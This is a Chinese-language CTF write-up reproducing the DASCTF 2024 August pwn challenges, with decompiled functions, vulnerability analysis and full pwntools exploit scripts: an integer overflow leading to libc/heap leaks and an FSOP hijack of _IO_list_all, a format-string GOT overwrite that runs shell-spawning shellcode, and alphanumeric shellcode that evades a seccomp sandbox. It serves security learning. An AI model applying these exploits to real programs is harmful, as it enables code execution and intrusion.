DASCTF2024八月挑战赛Pwn方向复现
1222706425506668 发表于 湖北 CTF 591浏览 · 2024-09-18 10:09

randArray

  • 审计完发现没有什么漏洞,最后竟然是add时候存在整数溢出,0x800000000000000F*8=0x78,这种溢出还是很常见的,但是容易忽略
{
  void *result; // rax

  puts("How many?");
  __isoc99_scanf("%llu", &size);
  getchar();
  result = malloc(8 * size);
  ptr = result;
  return result;
}
  • 同时注意到这个函数中,是v1 < size的判断,通过上面的漏洞,size大小可以很大,这样就可以很长长度的交换数据
unsigned __int64 sub_1410()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
  unsigned __int64 i; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+18h] [rbp-18h]
  __int64 v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("How many?");
  __isoc99_scanf("%llu", &v1);
  getchar();
  if ( v1 < size )
  {
    for ( i = 0LL; i < v1; ++i )
    {
      v3 = rand() % v1;
      v4 = *((_QWORD *)ptr + i);
      *((_QWORD *)ptr + i) = *((_QWORD *)ptr + v3);
      *((_QWORD *)ptr + v3) = v4;
    }
  }
  else
  {
    puts("too large");
  }
  return v5 - __readfsqword(0x28u);
}
  • 同时知道这是伪随机数,直接用ctypes模拟爆破交换的次序,实现固定位置的数据交换进行攻击
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
io = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 


def dbg():
    gdb.attach(io,'b *$rebase(0x1597)')
    pause()

promt = "?"

def menu(option):
    io.sendlineafter('op:',str(option))

def newArray(num):
    global promt
    menu(0)
    io.sendlineafter(promt,str(num))

def edit(content):
    global promt
    menu(1)
    io.sendafter(promt,content)

def show():
    global promt
    menu(2)

def shuff(many):
    global promt
    menu(3)
    io.sendlineafter(promt,str(many))


def add(idx,size,content):
    menu(4)
    io.sendlineafter('idx',str(idx))
    io.sendlineafter('size',str(size))
    io.sendafter('content',content)

def delete(idx):
    global promt
    menu(5)
    io.sendlineafter(promt,str(idx))

def over():
    global promt
    menu(6)

def seed(seed):
    global promt
    io.sendlineafter(promt,str(seed)) 


def getseed():
    libdll = CDLL("./libc.so.6")

    for i in range(4000000):
        li = [i for i in range(15)]
        li.append(0xDEAD)
        li.append(0xBEAF)

        libdll.srand(i)
        # libc.srand(47)
        for j in range(17):
            rd = libdll.rand()%17
            tmp = li[rd]
            li[rd] = li[j]
            li[j] = tmp

        if li[15] == 0xDEAD and li[16] != 0xBEAF:
            for j in range(17):
                rd = libdll.rand()%17
                tmp = li[rd]
                li[rd] = li[j]
                li[j] = tmp

            if li[15] == 0xDEAD and li[16] == 0xBEAF:
                li = [i for i in range(15)]
                li.append(0xDEAD)
                li.append(0xBEAF)
                li.append(0xBEAF)
                li.append(0x1234)

                for j in range(19):
                    rd = libdll.rand()%19
                    tmp = li[rd]
                    li[rd] = li[j]
                    li[j] = tmp

                if li[15] == 0xDEAD and li[18] != 0x1234 and li[17] != 0x1234 and li[16] != 0x1234 and li[15] != 0x1234:
                    li = [i for i in range(15)]
                    li.append(0xDEAD)
                    li.append(0xBEAF)

                    for j in range(17):
                        rd = libdll.rand()%17
                        tmp = li[rd]
                        li[rd] = li[j]
                        li[j] = tmp

                    if li[15] == 0xDEAD and li[16] != 0xBEAF:
                        print(i)
                        print(li)
                        break
    return i

# exp 函数
def exp():

    # seed(getseed())
    seed(1404865)

    newArray(str(0x800000000000000F))

    payload = b''
    for i in range(15):
        payload += p64(i)
    edit(payload)

    # prepare for leak libc
    add(0,0x410,'a')
    add(1,0x410,'a')
    delete(0)

    # leak libc
    shuff(17)
    show()
    io.recvline()
    io.recv(0x30)

    libc_base = u64(io.recv(8)) - 0x21ace0
    io_list_all = libc_base + 0x21b680
    system = libc_base + 0x50d70
    binsh = libc_base + 0x1d8678
    print("libc_base:"+hex(libc_base))


    # restore
    shuff(17)

    #leak heap
    add(0,0x100,'a')
    shuff(19)
    show()
    io.recvline()
    io.recv(0x40)
    heap_base = u64(io.recv(8))-0x310
    print("heap_base:"+hex(heap_base))

    # hijack io_list_all
    add(1,0x100,'a')
    delete(1)
    delete(0)

    payload = flat([0,0,0,0,((heap_base+0x310)>>12)^io_list_all])
    edit(payload)
    shuff(17)

    fake_io_addr = heap_base+0x320

    io_file = flat({
        0x0: '  sh',
        0x18: 0,
        0x28: 1,
        0x30: 0,
        0x68: system,
        0x88: fake_io_addr+0x2000,
        0xa0: fake_io_addr,
        0xd8: libc_base+libc.sym['_IO_wfile_jumps'],
        0xe0: fake_io_addr,
    },filler=b'\x00')

    add(0,0x100,io_file)
    add(1,0x100,p64(fake_io_addr))

    over()
    io.interactive()

exp()

clock

  • 在init函数中让堆可执行
char *init()
{
  char *buf; // [rsp+8h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  buf = (char *)malloc(0x100uLL);
  mprotect(buf - 672, 0x21000uLL, 7);
  puts("plz input mprotect code");
  read(0, buf, 0x10uLL);
  return buf;
}
  • 其他函数都没有什么漏洞,只在display_current_time函数中有个格式化字符串漏洞
int display_current_time()
{
  int v0; // r8d
  int v1; // r9d
  char *v2; // rax
  char pwd[48]; // [rsp+0h] [rbp-70h] BYREF
  char buf[48]; // [rsp+30h] [rbp-40h] BYREF
  time_t timer; // [rsp+60h] [rbp-10h] BYREF
  void *name; // [rsp+68h] [rbp-8h]

  timer = time(0LL);
  name = malloc(0x100uLL);
  printf("You should login first,plz input format:");
  read(0, buf, 0x30uLL);
  printf("input name:");
  read(0, name, 0x100uLL);
  printf("input pwd:");
  read(0, pwd, 0x30uLL);
  format_and_print((unsigned int)buf, (_DWORD)name, (unsigned int)pwd, (_DWORD)name, v0, v1, pwd[0]);
  puts("/bin/sh");
  v2 = ctime(&timer);
  return printf("Current time is %s", v2);
}

got表可写,同时格式化字符串后有个puts函数,想到劫持puts的got为shellcode地址。
但是遇到一个问题,和平常printf不一致的是,vsnprintf并不能泄漏堆地址和栈地址出来,他会将数据存到buffer中。

这里就要用一个小trick,利用%*d进行格式化字符串,具体内容如下

那这里就可以相当于printf("%*d%63$ln",name,pwd); 那么name的值就被当作width补充space,进而利用%63$ln讲puts_got改写为堆地址,进行执行shellcode

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 


def dbg():
    gdb.attach(p,'b *0x04013E5')
    pause()

p.recvuntil(b"plz input mprotect code")
p.sendline(b"a")


p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
#puts_got
payload1 = b"%4210688x%33$ln"
p.sendline(payload1)
p.recvuntil(b"input name:")
p.sendline(b"name")
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")


# dbg()
p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
payload2 = b"%*d%63$ln"
p.sendline(payload2)
shellcode = asm(shellcraft.sh())
p.recvuntil(b"input name:")
p.sendline(shellcode)
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")


p.interactive()

alphacode

sandbox

=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x14 0x00 0x40000000  if (A >= 0x40000000) goto 0024
 0004: 0x15 0x13 0x00 0x0000003b  if (A == execve) goto 0024
 0005: 0x15 0x12 0x00 0x00000142  if (A == execveat) goto 0024
 0006: 0x15 0x11 0x00 0x00000065  if (A == ptrace) goto 0024
 0007: 0x15 0x10 0x00 0x00000039  if (A == fork) goto 0024
 0008: 0x15 0x0f 0x00 0x0000003a  if (A == vfork) goto 0024
 0009: 0x15 0x0e 0x00 0x00000038  if (A == clone) goto 0024
 0010: 0x15 0x0d 0x00 0x00000057  if (A == unlink) goto 0024
 0011: 0x15 0x0c 0x00 0x0000005a  if (A == chmod) goto 0024
 0012: 0x15 0x0b 0x00 0x00000000  if (A == read) goto 0024
 0013: 0x15 0x09 0x00 0x00000002  if (A == open) goto 0023
 0014: 0x20 0x00 0x00 0x00000010  A = args[0]
 0015: 0x25 0x08 0x00 0x00000001  if (A > 0x1) goto 0024
 0016: 0x35 0x00 0x07 0x00000000  if (A < 0x0) goto 0024
 0017: 0x20 0x00 0x00 0x00000020  A = args[2]
 0018: 0x25 0x05 0x00 0x00000001  if (A > 0x1) goto 0024
 0019: 0x35 0x00 0x04 0x00000000  if (A < 0x0) goto 0024
 0020: 0x20 0x00 0x00 0x00000028  A = args[3]
 0021: 0x25 0x02 0x00 0x00000001  if (A > 0x1) goto 0024
 0022: 0x35 0x00 0x01 0x00000000  if (A < 0x0) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

sub_1289()函数会在执行shellcode前清除rsp之外所有的通用寄存器

0x0000000000000000:  31 C0       xor eax, eax
0x0000000000000002:  31 DB       xor ebx, ebx
0x0000000000000004:  31 C9       xor ecx, ecx
0x0000000000000006:  31 D2       xor edx, edx
0x0000000000000008:  31 FF       xor edi, edi
0x000000000000000a:  31 F6       xor esi, esi
0x000000000000000c:  31 ED       xor ebp, ebp
0x000000000000000e:  4D 31 C0    xor r8, r8
0x0000000000000011:  4D 31 C9    xor r9, r9
0x0000000000000014:  4D 31 D2    xor r10, r10
0x0000000000000017:  4D 31 DB    xor r11, r11
0x000000000000001a:  4D 31 E4    xor r12, r12
0x000000000000001d:  4D 31 ED    xor r13, r13

由于限制了禁止read,并且除open外,第0、2、3个参数的值必须为0或1,所以就先open flag文件,然后循环使用sendfile系统调用打印出flag文件。同时还要求限制是可见字符的范围内,第一个想到的是用AE64,但是发现限制shellcode长度没办法用这个,那只能手搓shellcode了

主要思路还是利用xor,add这些指令,不要通过上述方式构造出\x00,\x01这种非可见字符,贴一个官方WP

  • exp
from pwn import *
charset = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
p=process('./pwn')
head=open('./head.bin','rb').read()
head_new=head.replace(b'\x01',(1^ord('n')).to_bytes(1,'little'))
exp=open('./exp.bin','rb').read()
exp_new=b''
for i in exp[:-2]:
    if i not in charset:
        exp_new+=(i^ord('n')).to_bytes(1,'little')
    else:
        exp_new+=i.to_bytes(1,'little')
exp_new=exp_new[:9]+(exp_new[9]^ord('n')).to_bytes(1,'little')+exp_new[10:]+(exp[-2]-0x75).to_bytes(1,'little')+(exp[-1]-0x75).to_bytes(1,'little')
# sc= b'hnnnnTYH39ZhnnJNH390T8ChuuaaYoL8w0T8a0T8h0T8j1T8c1T8shflagT1jl6akjojFXSZAZARR01akvy'
p.send(head_new+exp_new)
p.interactive()

Moon

rust不会

0 条评论
某人
表情
可输入 255
目录